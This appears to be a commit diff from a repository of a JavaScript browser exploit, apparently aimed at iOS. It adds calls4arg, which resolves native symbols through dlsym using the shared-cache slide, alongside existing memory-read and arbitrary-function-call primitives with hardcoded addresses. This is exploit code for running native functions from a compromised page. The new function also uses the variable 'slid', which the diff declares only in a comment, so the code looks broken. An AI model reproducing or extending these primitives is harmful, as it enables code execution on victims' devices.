summaryrefslogtreecommitdiff
path: root/js/call.js
diff options
context:
space:
mode:
Diffstat (limited to 'js/call.js')
-rw-r--r--js/call.js11
1 files changed, 11 insertions, 0 deletions
diff --git a/js/call.js b/js/call.js
index 382222c..8c5ad44 100644
--- a/js/call.js
+++ b/js/call.js
@@ -2,6 +2,7 @@ var reserve_addr = 0x1a0000;
var gettimeofday_addy = 0x34d63d3c;
var slide = 0x0;
var base = 0x0;
+//var slid = 0x0;
function get_dyld_shc_slide() {
return read_u32((slide << 12) + reserve_addr + 20);
@@ -45,3 +46,13 @@ function call4arg(addy, r0, r1, r2, r3) {
return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0;
}
+
+/*
+ * call with symbol
+ */
+function calls4arg(sym, r0, r1, r2, r3) {
+ var dlsym_addy = read_u32(0x1a0000 + 24 + slid);
+ var shc_slide = read_u32(0x1a0000 + 20 + slid);
+ var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0);
+ return call4arg(addy, r0, r1, r2, r3);
+}